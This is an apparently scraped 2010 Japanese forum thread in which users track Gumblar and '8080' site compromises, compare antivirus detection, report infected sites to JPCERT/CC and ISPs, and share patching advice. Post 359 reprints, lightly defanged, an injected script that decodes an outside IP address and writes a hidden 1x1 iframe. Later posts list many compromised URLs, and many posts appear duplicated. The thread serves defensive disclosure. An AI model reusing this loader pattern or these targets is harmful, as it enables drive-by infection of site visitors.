NTTPCコミュニケーションズに電凸
折り返しの電話があり、対応する旨の話しでした
359 ：コテハン ◆8080adndqg ：2010/05/31(月) 21:09:32
>>347,349 乙乙
--
>>346に投下したspiceheads●comに装填されていた8080以外のコード
（）＜＞／．，’”； ←を全角にしてありまつ
＜script type=’text／javascript’＞str=”＜vdepognbt src=” + unescape
（’%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31’）
+ ” Oaoz5=’1’vxoq5=’1’＞”；str = str．replace（’vde’， ’i’）；str =str．replace（’pog’， ’fr’）；
str = str．replace（’nbt’， ’ame’）；str =str．replace（’Oaoz5’， ’width’）；
str =str．replace（’vxoq5’，’height’）；document．write（str）；＜／script＞
--
microlines●lvって･･･
--
>>346に投下したspiceheads●comに装填されていた8080以外のコード
（）＜＞／．，’”； ←を全角にしてありまつ
＜script type=’text／javascript’＞str=”＜vdepognbt src=” + unescape
（’%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31’）
+ ” Oaoz5=’1’vxoq5=’1’＞”；str = str．replace（’vde’， ’i’）；str =str．replace（’pog’， ’fr’）；
str = str．replace（’nbt’， ’ame’）；str =str．replace（’Oaoz5’， ’width’）；
str =str．replace（’vxoq5’，’height’）；document．write（str）；＜／script＞
--
microlines●lvって･･･
360 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 22:42:35
lv…ラトビアか。zlkon(gumblarの始祖)を思い出す。
361 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 22:50:28
362 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 23:10:43
>>359のコードなら難読化って程じゃないですよね
パーセントエンコードしたURLをデコード、「vdepognbt」を分割してreplaceで「iframe」に置換
今までのとは違う人が書いた物みたい
ガンブラーサイトを間貸ししてるのかも
パーセントエンコードしたURLをデコード、「vdepognbt」を分割してreplaceで「iframe」に置換
今までのとは違う人が書いた物みたい
ガンブラーサイトを間貸ししてるのかも
363 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 23:27:46
カスペが見逃すやつをavastがことごとく遮断
優秀すぎる
優秀すぎる
364 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 23:43:39
Avira、AVG、MSEは論外・・・なのか？
365 ：名無しさん＠お腹いっぱい。：2010/05/31(月) 23:50:39
virustotalで調べたが、上記のサイトでavastはほぼ完璧
MSE、AVIRAはちょっと検出、AVGは反応なしorz
変なサイトに飛ばされて、ウイルス仕込まれそうになった段階で反応するのかもしれないけど
MSE、AVIRAはちょっと検出、AVGは反応なしorz
変なサイトに飛ばされて、ウイルス仕込まれそうになった段階で反応するのかもしれないけど
367 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:15:05
既出で今スクリプトが埋まってるURL
－8080系
ama●minasan●info/
anime●len2●net/
bentominowa●web●fc2●com/index_files/kotypeb_data/injection_graph_func●js
canyonhardware●com/
hirotu●net/hs/kyujin/maillady/index●htm
infom●biz/secretdiet/
kadaru●mydns●to/ →「ページを表示できないっぽいです(^^;」とあるが、ソースの下の方にスクリプト有り
kadaru●mydns●to/tauchi-office/taikensyugi/
kagaden●com/reiai/
kei●keita-house●com/torabaayu_kansai/
kumarin●biz/
neta-script●lionking●jp/2007/08/
nihon-support●jp/
population-japan●com
san●ron5●com/gbl/
temp●crossmarin●net/include/xoops●js
tenga●s155●coreserver●jp/
thismonky●com/
tw13●net
tw13●net/scratch/
tw13●net/vogue/vogue/index●html
www●adwalk●co●jp/
www●amakusaturigu●com
www●any-news●biz/
www●aoisys●com/nonstyle/
www●asu-job●com/
www●biz-x●jp
www●crossmarin●net/include/xoops●js
－8080系
ama●minasan●info/
anime●len2●net/
bentominowa●web●fc2●com/index_files/kotypeb_data/injection_graph_func●js
canyonhardware●com/
hirotu●net/hs/kyujin/maillady/index●htm
infom●biz/secretdiet/
kadaru●mydns●to/ →「ページを表示できないっぽいです(^^;」とあるが、ソースの下の方にスクリプト有り
kadaru●mydns●to/tauchi-office/taikensyugi/
kagaden●com/reiai/
kei●keita-house●com/torabaayu_kansai/
kumarin●biz/
neta-script●lionking●jp/2007/08/
nihon-support●jp/
population-japan●com
san●ron5●com/gbl/
temp●crossmarin●net/include/xoops●js
tenga●s155●coreserver●jp/
thismonky●com/
tw13●net
tw13●net/scratch/
tw13●net/vogue/vogue/index●html
www●adwalk●co●jp/
www●amakusaturigu●com
www●any-news●biz/
www●aoisys●com/nonstyle/
www●asu-job●com/
www●biz-x●jp
www●crossmarin●net/include/xoops●js
368 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:16:04
www●ftagent●jp/
www●gocha-mix●net/cgi-bin/blog/
www●hd-cre●com/ab-tz/
www●j-sports●or●jp
www●jc-consulting●jp/houkoku_m/index3●html
www●k3●dion●ne●jp/~sym1909/
www●k3●dion●ne●jp/~sym1909/hpbmapscript3●js
www●kireibast●sakura●ne●jp/exlwckaj/
www●marbell●jp/img2/photo/tenonaru/index●html
www●mfreep●com
www●nas-server●info/
www●ne●jp/asahi/sanya/sanpo
www●niaufuku●com/
www●niaufuku●com/sense_up/index●htm
www●nittoka●com/ →ソースの中央付近
www●oc-academy●com/taiken/wind●js
www●pommerland-herb●com/
www●ryu1●co●jp/
www●shinnippo●co●jp/ssff/2006hiroshima/
www●tec●ne●jp/
www●toutyann●com/
www●tu-han4●com/hatumo/
www●wood-sadoh●co●jp/classroom/index●html
www●y2-kco●com/bb-kn/
www12●plala●or●jp/atakashi/sk/
www13●plala●or●jp/metal-militia/
adajo●namidaame●com/ →途中で切れてる
nakaya-world●com/modules/bulletin →途中で切れてる
tukaoh●com →途中で切れてる
www●3ku●jp/grow_images/2005/june/index_2005june●html →途中で切れてる
www●gocha-mix●net/cgi-bin/blog/
www●hd-cre●com/ab-tz/
www●j-sports●or●jp
www●jc-consulting●jp/houkoku_m/index3●html
www●k3●dion●ne●jp/~sym1909/
www●k3●dion●ne●jp/~sym1909/hpbmapscript3●js
www●kireibast●sakura●ne●jp/exlwckaj/
www●marbell●jp/img2/photo/tenonaru/index●html
www●mfreep●com
www●nas-server●info/
www●ne●jp/asahi/sanya/sanpo
www●niaufuku●com/
www●niaufuku●com/sense_up/index●htm
www●nittoka●com/ →ソースの中央付近
www●oc-academy●com/taiken/wind●js
www●pommerland-herb●com/
www●ryu1●co●jp/
www●shinnippo●co●jp/ssff/2006hiroshima/
www●tec●ne●jp/
www●toutyann●com/
www●tu-han4●com/hatumo/
www●wood-sadoh●co●jp/classroom/index●html
www●y2-kco●com/bb-kn/
www12●plala●or●jp/atakashi/sk/
www13●plala●or●jp/metal-militia/
adajo●namidaame●com/ →途中で切れてる
nakaya-world●com/modules/bulletin →途中で切れてる
tukaoh●com →途中で切れてる
www●3ku●jp/grow_images/2005/june/index_2005june●html →途中で切れてる
369 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:17:04
www●granship●com/index●html →途中で切れてる
www●hdta●jp →途中で切れてる
www●seibidou●jp/products/information_sign/index●html →途中で切れてる
ayako●h00●jp →コメントアウト
butuda●f00●jp →コメントアウト
otokudou●h01●jp/ →コメントアウト
sunrise●2pg●in/ →コメントアウト
－Gumblar.x
ama●koukuujinja●net/vuitton/
doit●itabashido●com/seki/
jamur●jp/
mag●rdy●jp/
plot-office●com/
s1●shard●jp/syozyonudo/
saicho●co●jp/
truth-co●jp/
www●geocities●jp/tentacles344/hodokyo●html
www●kiyasuisan●co●jp/
－その他
winbet●tonosama●jp/
www●acl-music●jp/
www●aquaview●jp/
www●aquaview●jp/m_shop/index●html
www●aquaview●jp/q_a/index●html
www●ed-shop●com/
www●militarize●org/01●htm →ソースの最終行？
www●rctank●jp/ →ソースの最終行？
www●hdta●jp →途中で切れてる
www●seibidou●jp/products/information_sign/index●html →途中で切れてる
ayako●h00●jp →コメントアウト
butuda●f00●jp →コメントアウト
otokudou●h01●jp/ →コメントアウト
sunrise●2pg●in/ →コメントアウト
－Gumblar.x
ama●koukuujinja●net/vuitton/
doit●itabashido●com/seki/
jamur●jp/
mag●rdy●jp/
plot-office●com/
s1●shard●jp/syozyonudo/
saicho●co●jp/
truth-co●jp/
www●geocities●jp/tentacles344/hodokyo●html
www●kiyasuisan●co●jp/
－その他
winbet●tonosama●jp/
www●acl-music●jp/
www●aquaview●jp/
www●aquaview●jp/m_shop/index●html
www●aquaview●jp/q_a/index●html
www●ed-shop●com/
www●militarize●org/01●htm →ソースの最終行？
www●rctank●jp/ →ソースの最終行？
370 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:23:09
削除されただけでも、ましだぜ。未だに、絶賛放置中のサイトもあるぐらいだし
315のサイトは、企画、運営が外注だろ。よくこれで、運営してるなと。
Yahooも、自前の懸賞の所に、感染したサイトがリンクされていても放置するのに、フィッシング対策にYahooツールバーを入れよう！と宣伝してるのは笑うわ。
315のサイトは、企画、運営が外注だろ。よくこれで、運営してるなと。
Yahooも、自前の懸賞の所に、感染したサイトがリンクされていても放置するのに、フィッシング対策にYahooツールバーを入れよう！と宣伝してるのは笑うわ。
371 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 00:31:50
>>362
普通すぎるから激しい難読化より気付き難い(かもしれない)
普通すぎるから激しい難読化より気付き難い(かもしれない)
372 ：コテハン ◆8080adndqg ：2010/06/01(火) 00:33:22
373 ：コテハン ◆8080adndqg ：2010/06/01(火) 00:38:40
>>372みすった orz
--
>>367-369 まとめ乙です。
>>358 乙です。
so-netさんが４連発ｗ
止まらぬサイト改ざん(1) ISPがガンブラー対策～パスワードリセット敢行も
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2248
止まらぬサイト改ざん(2)「怪しい薬局」に続き「怪しい時計屋キャンペーン」も
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2249
止まらぬサイト改ざん(3)「負の連鎖」を断ち切る「3つの基本対策」実施を
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2250
止まらぬサイト改ざん(4)訪問の心あたりはありませんか～新規告知サイト13件
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2251
サイト復旧後、「告知無し」のカスサイトを晒すスレが必要かな？
--
>>367-369 まとめ乙です。
>>358 乙です。
so-netさんが４連発ｗ
止まらぬサイト改ざん(1) ISPがガンブラー対策～パスワードリセット敢行も
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2248
止まらぬサイト改ざん(2)「怪しい薬局」に続き「怪しい時計屋キャンペーン」も
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2249
止まらぬサイト改ざん(3)「負の連鎖」を断ち切る「3つの基本対策」実施を
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2250
止まらぬサイト改ざん(4)訪問の心あたりはありませんか～新規告知サイト13件
ttp://www.so-net.ne.jp/security/news/view.cgi?type=2&no=2251
サイト復旧後、「告知無し」のカスサイトを晒すスレが必要かな？
375 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 01:27:51
>>374
so-netから>>280に連絡があったそうです（so-net
こっそり修正しているようですが告知しないのかと聞いたところ
改竄された事実はないとのお言葉でした
ぶちぎれましたね、私はw
会話を録音しているとかで私を警察に訴えるとのこと
この団体をことわざで例えるなら、【逝ってよし】ですかねw
so-netから>>280に連絡があったそうです（so-net
こっそり修正しているようですが告知しないのかと聞いたところ
改竄された事実はないとのお言葉でした
ぶちぎれましたね、私はw
会話を録音しているとかで私を警察に訴えるとのこと
この団体をことわざで例えるなら、【逝ってよし】ですかねw
376 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 01:29:13
so-net GJ
377 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 01:31:10
>>375
あぁー。。。
>>280のアドレスで具具れば魚醤がでるのでもしものときのために（ｒｙ
so-netにはフォームと鯖缶宛にめるして対応の返事があったんだけど、
そんなことになってたとは…（告知のことを>>373のセキュリティニュースから引用してます>>14）
あぁー。。。
>>280のアドレスで具具れば魚醤がでるのでもしものときのために（ｒｙ
so-netにはフォームと鯖缶宛にめるして対応の返事があったんだけど、
そんなことになってたとは…（告知のことを>>373のセキュリティニュースから引用してます>>14）
379 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 05:38:17
先生に危険認定されてる時点で言い逃れもへったくれもねぇだろうｗ
380 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 09:33:08
議員さんも支持者も大変すなぁ
www●sutoband●org
www●sutoband●org
381 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 10:13:34
382 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 11:50:27
>>300
さすが民主党議員はテロ行為に余念がない。
さすが民主党議員はテロ行為に余念がない。
383 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 12:03:29
絶対守ろう！ 世界の平和 地域の安全 日本の将来
その前に何か忘れてませんか
その前に何か忘れてませんか
384 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 14:32:13
>>375
＞会話を録音しているとかで私を警察に訴えるとのこと
so-netと話をしたで始まって、この団体は･･･で結んでるところが少しよくわからない
今後どうすれば訴えるって？それともいきなり警察に相談しますって？
本当なんだとしたらわけわからん
告知の責任を果たさない法人晒しスレのテンプレをマジメに検討した方がいい
＞会話を録音しているとかで私を警察に訴えるとのこと
so-netと話をしたで始まって、この団体は･･･で結んでるところが少しよくわからない
今後どうすれば訴えるって？それともいきなり警察に相談しますって？
本当なんだとしたらわけわからん
告知の責任を果たさない法人晒しスレのテンプレをマジメに検討した方がいい
385 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 14:38:17
基地がいすぎるなｗｗｗ
386 ：コテハン ◆8080adndqg ：2010/06/01(火) 20:01:46
【陥落サイトのURL悪用厳禁】
vaxponys●sakura●ne●jp/hukin-goods●vaxponys●com/
■当サイトのウィルス感染に関するお詫びとお願い
www.i-keiei.jp/2010/05/post_26.html
修正後、告知しないカスサイトは見習ってほしいぞ･･と。
vaxponys●sakura●ne●jp/hukin-goods●vaxponys●com/
■当サイトのウィルス感染に関するお詫びとお願い
www.i-keiei.jp/2010/05/post_26.html
修正後、告知しないカスサイトは見習ってほしいぞ･･と。
387 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:12:04
388 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:15:43
>>380
404になってますね
404になってますね
389 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:35:11
>>382
いや逆でしょｗｗ
しかし子ども手当・・・みんなに配った麻生さんと比べて不公平感があるし
財政的にも借金して配るという、地域振興券を遥かに超える究極的愚策ですな
といってもガンブラー仕掛けちゃいけませんよ＾＾
いや逆でしょｗｗ
しかし子ども手当・・・みんなに配った麻生さんと比べて不公平感があるし
財政的にも借金して配るという、地域振興券を遥かに超える究極的愚策ですな
といってもガンブラー仕掛けちゃいけませんよ＾＾
390 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:44:12
>>388
キャッシュはまだ検出する
キャッシュはまだ検出する
391 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 21:48:47
aimeblog●com●down●uproda016258●jpg
gredで不正改ざん
gredで不正改ざん
392 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:03:35
>>391
aimeblog●com/だとしたらドメイン自体が真っ黒
もともとウイルス配布サイトだからこのスレとは関係ないよ
改ざんではなくて元からそういうサイトなの
どっかのスレにあったならNG登録しといたほうがいいよ
aimeblog●com/だとしたらドメイン自体が真っ黒
もともとウイルス配布サイトだからこのスレとは関係ないよ
改ざんではなくて元からそういうサイトなの
どっかのスレにあったならNG登録しといたほうがいいよ
393 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:05:29
一般社団法人 Mozilla Japan は、日本国内における Mozilla の製品および関連技術の普及啓蒙を目的として設立された
はずなんだけどな
はずなんだけどな
394 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:06:25
誤爆った
395 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:10:39
危険ドメインリスト(アカウントハックウイルス関係, CGI版) - BS-Template (BSWiki)
http://smith.rowiki.jp/domain/?help
http://smith.rowiki.jp/domain/?help
396 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 22:11:26
397 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 23:04:46
>>380
http://blog.goo.ne.jp/sutoband/e/14cddcd36fbbc009e5c543ee6f8cb38c
>>このＨＰのようにアクセスが数百程度のＨＰも脅威の対象かな？
自称危機管理専門家なのに(笑) 大手とか関係ないぞ
こんな認識のヤツは頼むから運用しないでくれよ
http://blog.goo.ne.jp/sutoband/e/14cddcd36fbbc009e5c543ee6f8cb38c
>>このＨＰのようにアクセスが数百程度のＨＰも脅威の対象かな？
自称危機管理専門家なのに(笑) 大手とか関係ないぞ
こんな認識のヤツは頼むから運用しないでくれよ
398 ：名無しさん＠お腹いっぱい。：2010/06/01(火) 23:16:11
いつこのGunblerや8080が終息に向かうんだろうか？
どんどん悪化してきているような気がする…
どんどん悪化してきているような気がする…
400 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 00:42:06
削除依頼スレ見てきた
削除依頼出すのはいいけど、セキュ板実質管理者居ないから、
他のスレのとまとめて長期未処理スレに報告したほうがいいと思う
まとめて出してくるわ
削除依頼出すのはいいけど、セキュ板実質管理者居ないから、
他のスレのとまとめて長期未処理スレに報告したほうがいいと思う
まとめて出してくるわ
401 ：コテハン ◆8080adndqg ：2010/06/02(水) 01:09:39
>>400 orz...
402 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 10:22:03
403 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 11:50:36
>>402
自分は2chをやらなかったらGunblerも対策も知らなかったよ
対策の仕方を読んでもいまだによくわからないし
被害と言うのはGunblerを踏んで何かを流出させた人だけではなくて
Gunblerを踏んでしまってクリーンインストールをしなければならない手間や
Gunblerを仕込まれてしまってサイトを直さねばらない手間や費用も
被害と言えば被害だよね
自分は2chをやらなかったらGunblerも対策も知らなかったよ
対策の仕方を読んでもいまだによくわからないし
被害と言うのはGunblerを踏んで何かを流出させた人だけではなくて
Gunblerを踏んでしまってクリーンインストールをしなければならない手間や
Gunblerを仕込まれてしまってサイトを直さねばらない手間や費用も
被害と言えば被害だよね
404 ：コテハン ◆8080adndqg ：2010/06/02(水) 12:36:35
>>398
永遠に終わらないような気が･･orz
【陥落サイトのURL悪用厳禁】
www●goshikionsen●net/access
www●fashion389●com/datsushien
■本日の目玉商品ｗ
<!--ショッピングサイト(トロイ付)構築を行っております-->
eccube●jp/
↓見本ページ(やっぱりトロイ付)↓
eccube●jp/demo/
永遠に終わらないような気が･･orz
【陥落サイトのURL悪用厳禁】
www●goshikionsen●net/access
www●fashion389●com/datsushien
■本日の目玉商品ｗ
<!--ショッピングサイト(トロイ付)構築を行っております-->
eccube●jp/
↓見本ページ(やっぱりトロイ付)↓
eccube●jp/demo/
405 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 13:08:27
>>403
> 対策の仕方を読んでもいまだによくわからないし
これは問題だろ
どこがわからんのかｋｗｓｋ
なんとなくわからんとか理解する気がないとかじゃなく文章ちゃんと読んで
どこがわからんのか教えてくれ
> 対策の仕方を読んでもいまだによくわからないし
これは問題だろ
どこがわからんのかｋｗｓｋ
なんとなくわからんとか理解する気がないとかじゃなく文章ちゃんと読んで
どこがわからんのか教えてくれ
406 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:00:52
www●j-sports●or●jp ：Gred、Dr.Web反応せず/精査よろ
vaxponys●sakura●ne●jp/hukin-goods●vaxponys●com/ ：再凸済み
>>367-369
一通りチェックが終了したので、昨日付けでJPCERTに報告しました
これだけの数、何処までやってくれるか判りませんけどね
>>404
www●goshikionsen●net
www●fashion389●com/datsushien/
eccube●jp
JPCERT/CCに報告しました
vaxponys●sakura●ne●jp/hukin-goods●vaxponys●com/ ：再凸済み
>>367-369
一通りチェックが終了したので、昨日付けでJPCERTに報告しました
これだけの数、何処までやってくれるか判りませんけどね
>>404
www●goshikionsen●net
www●fashion389●com/datsushien/
eccube●jp
JPCERT/CCに報告しました
407 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:30:20
>>406
j-sportsは今日付けで変更されてるページをいくつか確認
とりあえず修正したのかもしれない
再改ざんの可能性もあるので要観察かな
TOPがこんなかんじで1時間前くらい
Last-Modified: Wed, 02 Jun 2010 05:10:14 GMT
j-sportsは今日付けで変更されてるページをいくつか確認
とりあえず修正したのかもしれない
再改ざんの可能性もあるので要観察かな
TOPがこんなかんじで1時間前くらい
Last-Modified: Wed, 02 Jun 2010 05:10:14 GMT
408 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:36:53
ジェーピーサートコーディネーションセンターの中の人って何人なんだろうね？
こんなに頻出してたら大変だろうに
こんなに頻出してたら大変だろうに
409 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:44:02
>>404
http://www.virustotal.com/jp/analisis/567823945ead442c75e4d3a54949a8044e7210b3c3a23ac85edda85a10955829-1275460764
祝 全スルー
http://www.virustotal.com/jp/analisis/567823945ead442c75e4d3a54949a8044e7210b3c3a23ac85edda85a10955829-1275460764
祝 全スルー
410 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:50:00
JPCERTも対応していれば大変だろうけど、してないんじゃないかな。
していれば、ISPの対処のスピードも上がるでしょう。
デジロックみたいな所が、だらだらとやっている位ですから、何もやっていないでしょうね。
していれば、ISPの対処のスピードも上がるでしょう。
デジロックみたいな所が、だらだらとやっている位ですから、何もやっていないでしょうね。
411 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 15:56:27
>>403
・windows update
とにかく最新にしとけ、XP sp2の人もまだいるみたいだから
その場合はカスタム更新で
・Adobe Reader
要らん場合はインストールすんな
・Adobe ReaderのAcrobat JavaScript
>>4のとおり
・JRE(Java Runtime Environment)を最新版に更新する
要らん場合はインストールすんな
プリインストールされてる場合はアンインストール後にCCleanerで掃除
・Flash Playerを最新版に更新する
バージョンチェックはしておこう
・QuickTimeを最新版に更新する
alternativeでおｋ、ブラウザにプラグインなんか入れんな
・windows update
とにかく最新にしとけ、XP sp2の人もまだいるみたいだから
その場合はカスタム更新で
・Adobe Reader
要らん場合はインストールすんな
・Adobe ReaderのAcrobat JavaScript
>>4のとおり
・JRE(Java Runtime Environment)を最新版に更新する
要らん場合はインストールすんな
プリインストールされてる場合はアンインストール後にCCleanerで掃除
・Flash Playerを最新版に更新する
バージョンチェックはしておこう
・QuickTimeを最新版に更新する
alternativeでおｋ、ブラウザにプラグインなんか入れんな
412 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:00:19
kanto●itca●or●jp/wic/attachment/97/resource-253●html
社団法人情報通信設備協会 関東地方本部
社団法人情報通信設備協会 関東地方本部
413 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:05:46
>>412
遂にお会い出来ましたね、com:8080さん
遂にお会い出来ましたね、com:8080さん
415 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:18:21
Gumblar.xはじめ色々な改ざん＝＝
fun●s331●xrea●com/ikeacat/r●js
sale●s334●xrea●com/?p=127
bara●s317●xrea●com/
sakura●s316●xrea●com/?p=136
ps2●s307●xrea●com/?p=135
www●tctv●ne●jp/s-pato/tyuuka●html
sijoanna●finito●fc2●com/
meringue●s48●xrea●com/pm/2004/04/
toko72●s289●xrea●com/adhocmart●com/renaiunaphuusui/
elesty●s25●xrea●com/s-album/kie-album-39●htm
soverign●s154●xrea●com/
fun●s331●xrea●com/ikeacat/r●js
sale●s334●xrea●com/?p=127
bara●s317●xrea●com/
sakura●s316●xrea●com/?p=136
ps2●s307●xrea●com/?p=135
www●tctv●ne●jp/s-pato/tyuuka●html
sijoanna●finito●fc2●com/
meringue●s48●xrea●com/pm/2004/04/
toko72●s289●xrea●com/adhocmart●com/renaiunaphuusui/
elesty●s25●xrea●com/s-album/kie-album-39●htm
soverign●s154●xrea●com/
416 ：コテハン ◆8080adndqg ：2010/06/02(水) 17:41:14
eccube●jp/逃げるの早いなｗ
↓禿のキャッシュ↓
cache●yahoofs●jp/search/cache?p=site%3Aeccube●jp%2F&search●x=&fr=top_ga1_sa&tid=top_ga1_sa&ei=UTF-8&aq=&oq=&u=eccube.jp/&w=eccube+●jp&d=Ku2UhO8_U3HZ&icp=1&●intl=jp
↓禿のキャッシュ↓
cache●yahoofs●jp/search/cache?p=site%3Aeccube●jp%2F&search●x=&fr=top_ga1_sa&tid=top_ga1_sa&ei=UTF-8&aq=&oq=&u=eccube.jp/&w=eccube+●jp&d=Ku2UhO8_U3HZ&icp=1&●intl=jp
417 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:45:18
Gumblarのスペルすら間違えるような人は
IPAやJPCERTやセキュmemoを見ていないんだろうなぁ。
IPAやJPCERTやセキュmemoを見ていないんだろうなぁ。
418 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:51:36
逃げ得は許さない
419 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:59:37
420 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 17:59:50
gredで危険ですとか言われたサイトは踏んじゃうとやばいんですか？
エロゲの公式さいとなんですけど
エロゲの公式さいとなんですけど
421 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:00:56
>>420
たぶんはい
たぶんはい
422 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:05:29
423 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:07:04
>>411
＞プリインストールされてる場合はアンインストール後にCCleanerで掃除
ここがよくわからん
コントロールパネルから消してjava6:20以外どこにも無いのに外部ソフトウェアが必要なの？
＞プリインストールされてる場合はアンインストール後にCCleanerで掃除
ここがよくわからん
コントロールパネルから消してjava6:20以外どこにも無いのに外部ソフトウェアが必要なの？
424 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:08:27
>>419
ＧＪ
ＧＪ
425 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:11:29
426 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:13:07
>>425
祝福のカンパネラです
祝福のカンパネラです
427 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:13:51
あいよ
428 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:28:13
>>412
それって無関係かもしれんよ
www●google●co●jp/search?hl=ja&q=site%3Akanto●itca●or●jp%2F
www●google●co●jp/search?q=site%3Akanto●itca●or●jp%2Fwic%2F
それって無関係かもしれんよ
www●google●co●jp/search?hl=ja&q=site%3Akanto●itca●or●jp%2F
www●google●co●jp/search?q=site%3Akanto●itca●or●jp%2Fwic%2F
429 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:42:38
430 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:48:05
431 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:50:58
ああgredで見たのか
432 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:51:14
433 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:56:03
>>432
白だとおも
白だとおも
434 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:56:26
>>426
あちこち確認しながら見てたら時間が…
ソースには特に変なものはなかったです、Dr.Webも反応しませんでした
Gredもhtmlはシロ判定を返してるみたいですし大丈夫かと
というか、Gredが修正パッチを誤検出してるっぽいです
VTではシロ判定http://www.virustotal.com/jp/analisis/012b338f69d323de3cce45cf289f3b7fcf7b2b19dab7d264872e3c05dbc96075-1275470513
exe絡みだとスレ違いだし、まぁこんな回答しか返せませんけど良いですか？
あちこち確認しながら見てたら時間が…
ソースには特に変なものはなかったです、Dr.Webも反応しませんでした
Gredもhtmlはシロ判定を返してるみたいですし大丈夫かと
というか、Gredが修正パッチを誤検出してるっぽいです
VTではシロ判定http://www.virustotal.com/jp/analisis/012b338f69d323de3cce45cf289f3b7fcf7b2b19dab7d264872e3c05dbc96075-1275470513
exe絡みだとスレ違いだし、まぁこんな回答しか返せませんけど良いですか？
435 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 18:59:27
436 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 19:00:11
一応、原作ファンとして心配になったのでexeもチェックしたけど特に異常はない
http://mirror1.lapistan.jp:8000/mirror/windmill/mod/campanella_voice.exe
の:8080を誤検知したとかってオチだとおも
http://mirror1.lapistan.jp:8000/mirror/windmill/mod/campanella_voice.exe
の:8080を誤検知したとかってオチだとおも
437 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 19:25:49
:8080じゃないし
438 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 20:02:18
>5を踏んじゃったんですが、
大丈夫でしょうか？荒らし酷いな
大丈夫でしょうか？荒らし酷いな
439 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 20:08:35
>>438
専ブラ使えばレス見てわかるとおもうんで専ブラ導入推奨
専ブラ使えばレス見てわかるとおもうんで専ブラ導入推奨
440 ：名無しさん＠お腹いっぱい。：2010/06/02(水) 20:33:46
>>416
処理早いのは良いことなんですけどね 告知できればなお良
>>419
17:08時点では修正済みでは? 感染時ソースの魚拓↓
http://megalodon.jp/2010-0602-416-03/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Feccube.jp%2Findex.html
外部.jsの場合、自分は魚拓を表示できないので
ピリオドをパーセントエンコードするか、JSUNPACKのレポートにして欲しいです↓
http://megalodon.jp/2010-0601-1513-45/www.dan.co.uk/viewsource/index.php?url=http://www.sutoband.org/js/scroll_news%2Ejs
http://jsunpack.jeek.org/dec/go?report=6bfc48ba1e492f69a3c1f52e5d873eee2e4a7924
処理早いのは良いことなんですけどね 告知できればなお良
>>419
